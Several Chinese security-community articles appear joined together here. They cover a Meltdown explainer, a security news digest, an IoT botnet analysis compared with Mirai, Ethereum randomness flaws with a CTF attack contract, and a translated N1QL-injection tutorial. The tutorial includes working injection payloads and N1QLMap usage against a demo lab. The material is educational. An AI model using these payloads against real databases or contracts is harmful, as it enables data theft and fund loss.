现在我们来看看如何有机利用推测执行以及缓存机制，针对处理器发起类似Meltdown之类的攻击。考虑如下一个例子，这段代码是一个用户程序，可能会从非法地址（内核地址）读取数据，导致出现运行错误（即程序崩溃）：
t = a+b
u = t+c
v = u+d
if v:
w = kern_mem[address] # if we get here, fault
x = w&0x100
y = user_mem[x]
现在，如果我们能训练分支预测器，使其认为`v`很有可能是一个非零值，那么我们所使用的两路乱序超标量处理器就会重新排序代码，得到如下结果：
t, w_ = a+b, kern_mem[address]
u, x_ = t+c, w_&0x100
v, y_ = u+d, user_mem[x_]
if v:
# fault
w, x, y = w_, x_, y_ # we never get here
虽然处理器总是会推测读取内核地址所对应的数据，但直到它发现`v`为非零值，才会返回异常结果。从表面上来看，这一点无关痛痒，因为有如下两点原因：
1、如果`v`为0，那么非法读取所获得的结果不会提交给`w`。
2、如果`v`不为0，读取结果在提交给`w`之前就会出现错误。
然而，假设我们在执行代码之前刷新了缓存，重新安排`a`、`b`、`c`以及`d`的值，使`v`成功取得0值。那么，第3个周期所执行的推测读取指令为：
v, y_ = u+d, user_mem[x_]
这条指令会访问用户空间的`0x000`地址或者`0x100`地址，具体结果取决于非法读取结果的第8位值，然后将该地址以及临近地址加载到缓存中。由于`v`为0，推测指令的结果将被处理器丢弃，继续执行流程。如果我们观察推测访问这些地址所需的时间，我们可以确定哪个地址位于缓存中。现在攻击任务已达成，我们成功从内核地址空间中读取出了1比特信息！
真正的Meltdown利用过程远比这个更加复杂（为了避免错误训练分支预测器，作者倾向于无条件执行非法读取操作，再去处理异常结果），但原理相同。Spectre使用了类似的方法来绕过软件数组边界检查机制。
## 十、总结
时至今日，现代处理器在后台做了许多工作，从抽象层面来看这些处理器是可以直接访问内存的有序标量处理器，但实际上它们引入了大量技术，如缓存、指令重排以及推测执行，从而获得了简单处理器无法企及的高性能指标。然而抽象和现实毕竟有所不同，即使差别非常细微，安全性方面依然值得细致推敲，Meltdown以及Spectre正是我们在抽象背景下遇到的安全风险。
Raspberry Pi使用的是ARM1176、Cortex-A7以及Cortex-A53核心，这些处理器并不具备推测执行功能，因此能免受这类攻击影响。 | 社区文章 |
# 2月8日安全热点 - HotSpot Shield VPN / iPhone 的iboot源码泄露
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
美国司法部门控告了36名网络诈骗嫌疑犯，涉案金额高达5.3亿美元
<http://www.zdnet.com/article/justice-department-indictment-february-cybercrime-ring/>
CISCO第二次发布安全补丁来修复CISCO ASA中的一个严重漏洞
<http://securityaffairs.co/wordpress/68826/security/cisco-asa-flaw.html>
HotSpot Shield VPN客户端的一个漏洞可能会暴露用户的信息
<https://threatpost.com/hotspot-shield-vulnerability-could-reveal-juicy-info-about-users-researcher-claims/129817/>
iPhone 的iboot源码泄露
<https://github.com/ZioShiba/iBoot>
自动化黑客工具Autosploit可能导致大规模利用
<http://securityaffairs.co/wordpress/68798/hacking/autosploit-hacking-tool.html>
在这个危险的数字世界中防止WordPress黑客的9个技巧
> [9 Tips to Prevent WordPress Hacks in this Dangerous Digital
> World](http://securityaffairs.co/wordpress/68790/hacking/prevent-wordpress-> hacks.html)
## 技术类
是谁悄悄偷走了我的电：利用DNSMon批量发现被挂挖矿代码的域名
<http://blog.netlab.360.com/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/>
MalwareFox反恶意软件（zam64.sys） – 通过不正确的访问控制提权
<http://rce4fun.blogspot.hk/2018/02/malwarefox-antimalware-zam64sys.html>
<https://cxsecurity.com/issue/WLB-2018020102>
从补丁到漏洞分析 –记一次joomla漏洞应急
<https://lorexxar.cn/2018/02/07/joomla3-8-4/>
针对中东的攻击
<http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html>
Taking over Facebook accounts using Free Basics partner portal
<https://www.josipfranjkovic.com/blog/facebook-partners-portal-account-takeover>
USN-3559-1：Django漏洞
[https://usn.ubuntu.com/usn/usn-3559-1](https://usn.ubuntu.com/usn/usn-3559-1/?utm_source=securitydailynews.com)
云安全风险（P2）：AWS CloudTrail中的CSV注入
<https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/>
在Linux上使用.NET Core获取LTTng事件的堆栈
[http://blogs.microsoft.co.il/sasha/2018/02/06/getting-stacks-for-lttng-events-with-net-core-on-linux](http://blogs.microsoft.co.il/sasha/2018/02/06/getting-stacks-for-lttng-events-with-net-core-on-linux/?utm_source=securitydailynews.com)
新白皮书 – DANDERSPRITZ / PEDDLECHEAP流量分析（第1部分）
[https://blogs.forcepoint.com/security-labs/new-whitepaper-danderspritzpeddlecheap-traffic-analysis-part-1-2](https://blogs.forcepoint.com/security-labs/new-whitepaper-danderspritzpeddlecheap-traffic-analysis-part-1-2?utm_source=securitydailynews.com)
Dissecting mobile native code packers
[https://blog.zimperium.com/dissecting-mobile-native-code-packers-case-study](https://blog.zimperium.com/dissecting-mobile-native-code-packers-case-study/?utm_source=securitydailynews.com)
通过BMC颠覆您的服务器：HPE iLO4案例
<https://airbus-seclab.github.io/ilo/RECONBRX2018-Slides-Subverting_your_server_through_its_BMC_the_HPE_iLO4_case-perigaud-gazet-czarny.pdf>
Java反序列化漏洞-玄铁重剑之CommonsCollection(上)
<https://xianzhi.aliyun.com/forum/topic/2028>
iBoot Source Code Leaked
> [[Discussion] iBoot Source Code
> Leaked](https://www.reddit.com/r/jailbreak/comments/7vrl1q/discussion_iboot_source_code_leaked/?ref_source=embed&ref=share)
> from [jailbreak](https://www.reddit.com/r/jailbreak/)
利用Powershell获取System权限
<https://www.secpulse.com/archives/68180.html>
ReelPhish: 实时双因素钓鱼软件
<https://www.fireeye.com/blog/threat-research/2018/02/reelphish-real-time-two-factor-phishing-tool.html>
星图日志分析工具逆向
<https://www.secpulse.com/archives/68199.html>
镰刀 – shellcode开发工具
<https://howucan.gr/scripts-tools/2851-sickle-shellcode-development-tool> | 社区文章 |
来源：[ **360
网络安全研究院**](http://blog.netlab.360.com/content/images/2017/04/table_command_parse_Persirai-1.jpg)
作者：[ **Rootkiter**](http://blog.netlab.360.com/author/rootkiter/)
## 概述
从 "[81 端口的异常流量](http://blog.netlab.360.com/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/)"中，我们发现了一个新的僵尸网络家族，它和 MRIAI
存在一定的联系，本文将介绍一些对比结果，同时介绍一下我们从这个 botnet 中发现的一种依赖SSDP协议的感染机制。
_***注：** 如无特殊声明，MIRAI的分析将以github源码为基础；新botnet
将以其中的9584B6AEC418A2AF4EFAC24867A8C7EC样本的逆向结果为基础。_
## 相同点
### 相同的扫描方案
众所周知，MIRAI在传播过程中用到了SYN端口探测的技巧，来提高传播效率。新Botnet
也使用了该技巧并将其用在了81端口扫描中。随着研究的深入我们发现它和MIRAI有着相同的扫描规则。 在 MIRAI
中，被扫描IP是通过一系列随机函数生成的，但他有个黑名单机制，用于跳过一些IP地址范围（代码来自scanner.c），相关截图如下：
而在我们发现的 新Botnet 中（截图选自sub_A7C4函数），也有完全相同的黑名单机制（上下两图红框中是三行比对样例，实际上整个 while
循环体都是完全一致的）。
### 部分util函数同源
当我们将 新Botnet 和 MIRAI 进行汇编指令级别对比时，可以很清晰的发现，它们之间的少部分函数具有高度的一致性。
## 不同点
### 配置C2的区别
在公开的 MIRAI 源码中，用了 一个异或加密算法 来保护 C2 域名，并将 C2 以密文形式编码在原始代码之中，相关代码可参考 table.c 的
table_init 函数，其截图如下：
而在 该 Botnet 中，却是直接的明文字符串编码，相关截图如下：
值得一提的是，域名 `ntp.gtpnet.ir` 现阶段的解析目标为一个内网地址。
在此种情况下，攻击者是无法对僵尸网络进行正常控制的，且解析方式也不同于BlackHole（即域名的控制权仍然掌握在管理者手中）。
我们推测产生这种状态的原因有两种可能：
1. 管理者发现僵尸网络暴露了，切断了解析以防被追踪。
2. 管理者正在进行新版本的研发和测试，而网络上有大量的被控端，它们会对测试造成干扰，把解析目标设置到自己可控的内网地址后，可以很方便的排除干扰。
### 传播方式的区别
在所有公开的 MIRAI 源码中，只有弱口令扫描一种传播方式，在 MIRAI
的已知变种中，出现过利用7547/5555/6789/37777等端口传播的情况，关于 MIRAI 更多的跟踪细节可以参考 [Mirai
Scanner主页](http://data.netlab.360.com/mirai-scanner/)。
而 81 端口却从未发现过传播的 MIRAI 的先例，这是 新Botnet 独有的传播方式，“[新威胁报告：一个新IoT僵尸网络正在 HTTP
81上大范围传播](http://blog.netlab.360.com/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/)” 记录了和其有关的更多内容。
### 通讯协议的区别
MIRAI 的通讯协议可以从 attack.c 文件的 attack_parse 函数获取到。
而在 新Botnet 中却采取了一套全新的指令系统，相关内容可以用下表来表示：
### 攻击向量的区别
在原版 MIRAI 中，拥有包括 GRE 攻击在内的 10 种 ddos 攻击向量可供选择，相关证据可以参考 attack.h
文件中的相关定义，下面是一张截图证明：
而在 新Botnet 中，只存在两种 UDP-flood 攻击向量，可供选择，具体证据可参阅“通讯协议的区别”章节提供的表格。
## 更多关于 新Botnet 的细节
### 除 81 端口外还存在其他传播方案
虽然 新Botnet 是从 81 端口上被披露出来的，但其内部还包含有一个备份的传播方案，它似乎还没有被使用过。
`00 04 02` 是该传播方案对应的指令码。这是一个基于 “SSDP协议+UPnP实现漏洞利用” 的传播方案，传播将基于 1900
端口。其发送的第一个探测包内容如下：
M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:upnp:rootdevice
MAN:"ssdp:discover"
MX:3
这是 SSDP 协议的第一个请求包（函数地址 `0x0000A918`），当目标可以处理 SSDP 时，则进入 SSDP
交互逻辑，进而获得更多的智能设备信息及相应控制方法，当发现潜在 CVE-2014-8361 漏洞（Realtek SDK Miniigd UPnP SOAP
Command Execution）的设备时(识别关键字`:52869/picsdesc.xml`)，尝试发送 CVE-2014-8361 对应的
payload 完成一次试探性传播（函数地址 `0x0000A458`）。
当存在漏洞的服务无法从外网直接访问时，扫描器将会通过调用拥有“AddPortMapping” 功能的函数（函数地址
`0x0000AE20`）建立一个端口映射，并通过新映射的端口来完成试探性payload投递。
### UDP-Flood 的网络特征
该样本支持两种UDP-flood 攻击，分别为 `00 06` 和 `00 08`。
其中 `00 06` 对应的 flood 内容同 SSDP 探测包相同，截图证明如下：
而 `00 08` 对应的 flood 内容为：
## 回顾
本文从逆向样本出发，详细阐述了 新Botnet 和 MIRAI 之间的2个相同点和4个不同点。
**相同点**
1. 相同的扫描方案
2. 部分util函数同源
**不同点**
1. 配置C2的区别
2. 传播方式的区别
3. 通讯协议的区别
4. 攻击向量的区别
虽然 新Botnet 和 MIRAI 之间存在一定的共同点，但从 Botnet 识别的角度来看，这些不同点均为识别 Botnet
的重要指标，我们没有理由将其归类为 MIRAI 的变种，而应当把它当做一个全新的 Botnet 家族。
* * * | 社区文章 |
### 一、前言
本文继续前文的讲解。在前文中我们介绍了区块链中由公开变量做种子而引起的安全问题；有些合约使用区块哈希作为变量并将其放入合约函数中作为某种读博游戏的判定依旧。
由于这些随机数并非真正的“随机”，所以其安全隐患也是巨大的。本文我们继续介绍四种随机数漏洞类型。
### 二、基于区块哈希的随机数问题
`block.blockhash(block.number-1)`。
许多合约使用blockhash作为生产随机数的变量，并传入上一个区块编号。这种方法同样存在问题，攻击者可以调用相同的方法来生成该随机数。
例如下面一个合约：
/**
*Submitted for verification at Etherscan.io on 2016-04-23
*/
contract LuckyDoubler {
//##########################################################
//#### LuckyDoubler: A doubler with random payout order ####
//#### Deposit 1 ETHER to participate ####
//##########################################################
//COPYRIGHT 2016 KATATSUKI ALL RIGHTS RESERVED
//No part of this source code may be reproduced, distributed,
//modified or transmitted in any form or by any means without
//the prior written permission of the creator.
event log(uint256);
address private owner;
//Stored variables
uint private balance = 0;
uint private fee = 5;
uint private multiplier = 125;
mapping (address => User) private users;
Entry[] private entries;
uint[] private unpaidEntries;
//Set owner on contract creation
function LuckyDoubler() {
owner = msg.sender;
}
modifier onlyowner { if (msg.sender == owner) _ }
struct User {
address id;
uint deposits;
uint payoutsReceived;
}
struct Entry {
address entryAddress;
uint deposit;
uint payout;
bool paid;
}
//Fallback function
function() {
init();
}
function init() private{
if (msg.value < 1 ether) {
msg.sender.send(msg.value);
return;
}
join();
}
function join() private {
//Limit deposits to 1ETH
uint dValue = 1 ether;
if (msg.value > 1 ether) {
msg.sender.send(msg.value - 1 ether);
dValue = 1 ether;
}
//Add new users to the users array
if (users[msg.sender].id == address(0))
{
users[msg.sender].id = msg.sender;
users[msg.sender].deposits = 0;
users[msg.sender].payoutsReceived = 0;
}
//Add new entry to the entries array
entries.push(Entry(msg.sender, dValue, (dValue * (multiplier) / 100), false));
users[msg.sender].deposits++;
unpaidEntries.push(entries.length -1);
//Collect fees and update contract balance
balance += (dValue * (100 - fee)) / 100;
uint index = unpaidEntries.length > 1 ? rand(unpaidEntries.length) : 0;
Entry theEntry = entries[unpaidEntries[index]];
//Pay pending entries if the new balance allows for it
if (balance > theEntry.payout) {
uint payout = theEntry.payout;
theEntry.entryAddress.send(payout);
theEntry.paid = true;
users[theEntry.entryAddress].payoutsReceived++;
balance -= payout;
if (index < unpaidEntries.length - 1)
unpaidEntries[index] = unpaidEntries[unpaidEntries.length - 1];
unpaidEntries.length--;
}
//Collect money from fees and possible leftovers from errors (actual balance untouched)
uint fees = this.balance - balance;
if (fees > 0)
{
owner.send(fees);
}
}
//Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
log(hashVal);
return uint256((uint256(hashVal) / factor)) % max;
}
//Contract management
function changeOwner(address newOwner) onlyowner {
owner = newOwner;
}
function changeMultiplier(uint multi) onlyowner {
if (multi < 110 || multi > 150) throw;
multiplier = multi;
}
function changeFee(uint newFee) onlyowner {
if (fee > 5)
throw;
fee = newFee;
}
//JSON functions
function multiplierFactor() constant returns (uint factor, string info) {
factor = multiplier;
info = 'The current multiplier applied to all deposits. Min 110%, max 150%.';
}
function currentFee() constant returns (uint feePercentage, string info) {
feePercentage = fee;
info = 'The fee percentage applied to all deposits. It can change to speed payouts (max 5%).';
}
function totalEntries() constant returns (uint count, string info) {
count = entries.length;
info = 'The number of deposits.';
}
function userStats(address user) constant returns (uint deposits, uint payouts, string info)
{
if (users[user].id != address(0x0))
{
deposits = users[user].deposits;
payouts = users[user].payoutsReceived;
info = 'Users stats: total deposits, payouts received.';
}
}
function entryDetails(uint index) constant returns (address user, uint payout, bool paid, string info)
{
if (index < entries.length) {
user = entries[index].entryAddress;
payout = entries[index].payout / 1 finney;
paid = entries[index].paid;
info = 'Entry info: user address, expected payout in Finneys, payout status.';
}
}
}
该合约重点部分为：
//Generate random number between 0 & max
uint256 constant private FACTOR = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
function rand(uint max) constant private returns (uint256 result){
uint256 factor = FACTOR * 100 / max;
uint256 lastBlockNumber = block.number - 1;
uint256 hashVal = uint256(block.blockhash(lastBlockNumber));
return uint256((uint256(hashVal) / factor)) % max;
}
该函数为随机数生成函数，该函数设置了一个初始参数FACTOR用于对随机数进行初步处理。那么该随机数是如何生成的呢？
这里合约中使用`lastBlockNumber = block.number -1`以及`uint256(block.blockhash(lastBlockNumber))`来生成了`hashVal`这个参数，然而该变量的随机数种子是由区块已知的部分组成的。
我们部署合约并执行。
在log中看到了相关信息，同样我们可以在执行该函数前进行预操作以便能够预测随机数。
而我们在后面会对该类型的ctf题目进行一些简单的讲述。
### 三、未来区块的哈希值
最后的方法是使用未来区块哈希来进行随机数预测，方法步骤如下：
* 玩家进行下注，合约对玩家的下注信息进行记录并存在区块的编号
* 第二步调用合约，玩家询问合约中奖号码的具体值
* 合约从存储中检索保存的block.number并获取其blockhash，然后用于生成伪随机数。
然而该方法同样存在一些弊端：
由于区块的扩展性问题，所以该方法不能保存所有的区块哈希，稚嫩保存最近的256个区块的哈希值，其他的值均为0.
所以当第二次调用的值超过了256数量，此时哈希变为不可用，并且随机种子均为0 ，同样产生威胁。
被利用的这个弱点的最着名的案例是`SmartBillions`彩票的黑客攻击。 合约对`block.number`的验证不充分，导致400 ETH丢失。
而在CTF中同样有类似的题目，例如今年强网杯的`babybet`题目就需要我们进行随机数预测。
function bet(var arg0) {
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
var0 = block.blockHash(block.number + ~0x00);
var1 = var0 % 0x03;
if (var1 != arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
return;
}
}
而我们写脚本就可以对其进行攻击。
function process() public {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}
详细的题解可以看我之前的文章：
<https://xz.aliyun.com/t/5372>
### 四、私有种子作为哈希
为了增加随机数的随机性，一些合约使用了被认为“私有”的种子作为随机数生成的参数。例如：
bytes32 _a = block.blockhash(block.number - pointer);
for (uint i = 31; i >= 1; i--) {
if ((uint8(_a[i]) >= 48) && (uint8(_a[i]) <= 57)) {
return uint8(_a[i]) - 48;
}
}
在该代码中，合约定义了`pointer`指针作为私有变量，合约创建者本意想隐藏该私有变量，让用户参与者无法获取到该种子的具体数字。在每次游戏之后，1到9之间的中奖号码被分配给该变量，然后在检索blockhash时将其用作当前block.number的偏移量。
然而我们知道，区块链的规则是将数据公开透明，所以这些所谓的私有变量可以通过web3的方法进行获取，下面我们对该方法进行详细的讲解。
### 五、私有变量查看方法
查看合约制定内存的方法，虽然合约定义的内容是private类型，但是我们仍然可以拿到。
文档详情：<https://web3js.readthedocs.io/en/1.0/web3-eth.html>
在合约中，我们可以这样进行查看：
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
若要查看在内存中第一个位置的函数值，那么使用`web3.eth.getStorageAt("0x80994df46e168050262d1a63129592fc6247b4ed",
1, function(x, y) {console.warn(web3.toAscii(y))});`。
使用这个函数是只能够查看private变量吗？
我们进行测试。
测试代码：
pragma solidity ^0.4.10;
contract attack{
uint private a;
uint public b;
uint private c;
bool public locked;
bool private locked1;
function attack(){
a = 1;
b = 2;
c = 3;
locked = true;
locked1 = false;
}
}
然后我们对所有的变量进行访问测试：
这里我们发现对于布尔变量，我们能够得到true为1，false为0 。
### 六、Front-running
为了获得最大奖励，矿工根据每笔交易使用的累计gas选择交易来创建新区块。区块中交易执行的顺序由gas价格决定。gas价格最高的交易将首先执行。因此，通过操纵gas价格，可以在当前区块中的所有其他交易之前执行期望的交易。当合同的执行流程取决于其在一个区块中的位置时，这可能构成安全问题
- 通常称为Front-running。
彩票使用外部函数来获得伪随机数，用于确定每轮投注中的投注者中的获胜者。这些号码是未加密的。攻击者可能会观察待处理事务池并等待来自oracle的号码。一旦oracle的交易出现在交易池中，攻击者就会以更高的汽油价格下注。攻击者的交易最后一轮，但由于天然气价格较高，实际上是在oracle交易之前执行，使得攻击者获胜。`ZeroNights
ICO Hacking Contest`中有这样的任务。
这种问题同样存在于许多游戏合约中，比如Fome3D这种。很严重的危害。
另一个例子是名为“Last is
me!”的游戏。每当玩家购买一张票时，该玩家就会声称最后一个座位并且计时器开始倒计时。如果没有人在一定数量的街区内购买机票，最后一个“坐下”的玩家将获得累积奖金。当该轮即将结束时，攻击者可以观察交易池以进行其他参赛者的交易，并通过更高的gas价格获得累积奖金。
### 七、参考链接
* <https://etherscan.io/address/0x5ace17f87c7391e5792a7683069a8025b83bbd85#contracts>
* <https://etherscan.io/address/0xa11e4ed59dc94e69612f3111942626ed513cb172#contracts>
* <https://blog.positive.com/zeronights-ico-hacking-contest-writeup-63afb996f1e3>
* <https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620> | 社区文章 |
# Couchbase Server 与 N1QL注入
## 1\. 译文声明
**本文是翻译文章，原作者`Krzysztof Pranczk`
原文地址：`https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database/`
译文仅作参考，具体内容表达请见原文 **
## 2\. 前言
目前大多数数据库都支持`SQL`或`NOSQL`等查询语言，这些语言旨在为使用者提供与数据库的有效通信接口。但在某些情况下，外部攻击者或恶意用户可能会滥用这些接口功能来提取信息。常见的攻击方式有SQL注入或NoSQL注入。同时，一些小众查询语言的安全性没有得到过多的关注。本篇文章主要讲解N1QL注入，它可以理解为NoSQL数据库中的一种SQL注入，以及对应的利用工具`N1QLMap`！
## 3\. Couchbase Server 与 N1QL
`Couchbase
Server`是一个开源的面向文档的NoSQL数据库，其将JSON对象存储为文档，也可根据需要将其分配为存储非JSON对象的文档。Couchbase公司还提供`Couchbase
Lite`和一些移动应用。但是，这些产品有着与`Couchbase Server`若干相同的功能。`Couchbase
SDK`包括使用文档ID进行增/删/改/查操作的基本功能，可以使用全文搜索功能或基于`MapReduce`构建的索引执行查询。除此之外，还可以使用`N1QL语法`发出更复杂的查询。[N1QL（SQL
for
JSON）](https://www.couchbase.com/products/n1ql)是一种类似于SQL的语言，能更好地处理和反馈JSON数据。
## 4\. 一个简易的靶场
我们在gayhub上提供了一个漏洞靶场。该应用程序提供了一个简单的接口，允许用户查询世界各地的啤酒厂信息。基于`Docker Compose`来搭建环境：
git clone https://github.com/FSecureLABS/N1QLMap.git
cd n1qlmap / n1ql-demo
./quick_setup.sh
设置完成后，靶场环境为`http://localhost:3000`。例如以下curl命令返回一个JSON数据，包含位于纽约的啤酒厂：
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York"
...
[
{
"beer-sample": {
"address": [
"Chelsea Piers, Pier 59"
],
"city": "New York",
"code": "10011",
....
### 4.1. 识别注入
现在我们有了一个应用程序，随后需要确定是否存在注入，我们假设唯一的可控GET参数“city”存在SQL注入漏洞。判断手法与普通SQL注入判断手法相似。比如输入撇号/引号来判断，由于这些特殊字符破坏了服务器端语法，因此应用程序将抛出异常。例如：
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city='aaa"
...errors\": [{\"code\":3000,\"msg\":\"syntax error - at aaa\"}],\n\"status\": \"fatal\",\n\"...
如上所示，`syntax error`表明，可以通过操纵`city`参数的值来直接修改查询。截至目前一切正常。接下来我们需要确定查询语言和数据库技术。
### 4.2. 判断查询语句和数据库
对于可疑的查询注入点，下一步是判断查询语言。为了识别注入点在N1QL查询语法内，可以构造出特定的函数或查询来判断。举两个栗子：
* 使用`ENCODE_JSON`、`META`关键字或其它可在[官方文档](https://docs.couchbase.com/server/current/n1ql/n1ql-language-reference/functions.html)中找到对应的N1QL特定语法。
* 利用系统键空间来进行查询，例如`SELECT * FROM system:datastore`,在[N1QL逻辑层次结构](https://docs.couchbase.com/server/6.0/n1ql/n1ql-intro/sysinfo.html#logical-hierarchy)中可以找到更多可用的系统键空间。
本次靶场中应用如下：
* `http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON({}) == "{}" OR '1'='1`
* `http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON((SELECT * FROM system:keyspaces)) != "{}" OR '1'='1`
* `http://localhost:3000/example-1/breweries?city=13373' UNION SELECT * FROM system:keyspaces WHERE '1'='1`
* `http://localhost:3000/example-1/breweries?city=13373' UNION SELECT META((SELECT * FROM system:datastores)) WHERE '1'='1`
上述payload均未抛出异常，表明修改后的N1QL查询已成功查询。由于N1QL与常规SQL注入非常相似，也支持`UNION
SELECT`关键字，因此可以构造普通SQL注入中的联合查询。比如要查询所有可用的键空间，可以构造以下payload:
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1"
[{
"keyspaces": {
"datastore_id": "http://127.0.0.1:8091",
"id": "beer-sample",
"name": "beer-sample",
"namespace_id": "default"
}
}, {
"keyspaces": {
"datastore_id": "http://127.0.0.1:8091",
"id": "default-bucket",
"name": "default-bucket",
"namespace_id": "default"
}
}, {
"keyspaces": {
"datastore_id": "http://127.0.0.1:8091",
"id": "travel-sample",
"name": "travel-sample",
"namespace_id": "default"
}
}]
为了更清楚一点，在后端构建的完整查询如下：
SELECT * FROM beer-sample WHERE city ='' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1'
下面对该漏洞进行深入利用。
### 4.3. 基于布尔来提取数据
当我们确定了所使用的查询语言和数据库技术后，数据提取就像经典的SQLi一样简单。N1QL的优点之一是可以使用`ENCODE_JSON`函数，该函数将数据以JSON格式返回。例如，我们可以使用以下查询从数据库中提取键空间并以JSON格式返回：
$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' UNION SELECT ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)) WHERE '1'='1"
[{
"$1": "[{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"beer-sample\",\"name\":\"beer-sample\",\"namespace_id\":\"default\"}},{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"default-bucket\",\"name\":\"default-bucket\",\"namespace_id\":\"default\"}},{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"travel-sample\",\"name\":\"travel-sample\",\"namespace_id\":\"default\"}}]"
}]
格式化一下：
[
{
"keyspaces": {
"datastore_id": "http://127.0.0.1:8091",
"id": "beer-sample",
"name": "beer-sample",
"namespace_id": "default"
}
},
{
"keyspaces": {
"datastore_id": "http://127.0.0.1:8091",
"id": "default-bucket",
"name": "default-bucket",
"namespace_id": "default"
}
},
{
.....
}
]
这种JSON输出类型使基于布尔的数据检索变得容易，因为我们可以简单地检查输出的第一个字符为`{`时表示返回了有效的数据。通过利用这一点，我们可以创建一个仅当特定字符位于特定位置时才返回结果的查询，而在其他情况下则返回空的JSON数组。栗子如下：
curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York' AND '{' = SUBSTR(ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)), 1, 1) AND '1'='1"
[{"beer-sample":{"address":["Chelsea Piers, Pier 59"],"city":"New York","code":"10011","country":"United States"...
在上面`SUBSTR`函数用于从目标数据中提取首字符，目标数据使用`ENCODE_JSON`函数转换为JSON对象。然后判断目标数据的首字符是否为`{`。匹配时，响应为True。基于此方法，我们还可以逐步判断数据中的每个字符从而获取到完整的目标数据。
通过使用“键空间” JSON文档，也可以使用类似的技术从键空间中进一步提取数据，并执行更高级的查询，以促进诸如SSRF的攻击，我们将在稍后对此进行介绍。
在上述PoC中子查询中使用了`ORDER BY`关键字，这是因为Couchbase对每个查询可能以随机排序的形式返回。因此通过`ORDER
BY`关键字，我们可以降低这种不一致性导致的错误。
大致了解原理过后就可以造轮子了。
## 5\. 造个轮子
基于N1QL语法的现有理解，开发了漏洞验证工具`N1QLMap`。当前，`N1QLMap`使用基于布尔的渗透技术，提供功能如下：
* 列出可用的数据存储
* 列出系统的键空间
* 执行任意N1QL查询并获取结果
* 执行SSRF并获得结果
与一些常见工具相同，可以通过使用`*i*`标记其位置来设置特定的注入点。下面是一个示例，标记了参数"city"：
GET /example-1/breweries?city=*i* HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
可以通过`--help`参数来获取使用说明。N1QLMap可以通过`--request`参数像SQLMAP那样读取一个HTTP数据文件。如下命令用来枚举有效的数据存储区：
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
[{"datastores":{"id":"http://127.0.0.1:8091","url":"http://127.0.0.1:8091"}}
`--keyword`参数指定的字符串存在时表示有效查询。现在获取到了数据存储区，接下来再提取相关的键空间：
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"
[{"name":"beer-sample"},{"name":"default-bucket"},{"name":"travel-sample"}]
提取系统键空间后我们可以进一步枚举它们所存储的数据信息：
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
[{"O":{"T":{"callsign":"MILE-AIR","country":"United States","iata":"Q5","icao":"MLA","id":10,"name":"40-Mile Air","type":"airline"} .....
该工具还允许用户使用`--query`参数基于指定查询语法提取数据。但应注意`META`函数的`id`参数应与此结合使用以强制执行返回数据的顺序。
下面展示了使用任意查询从“travel-sample”键空间中提取单个文档的示例查询：
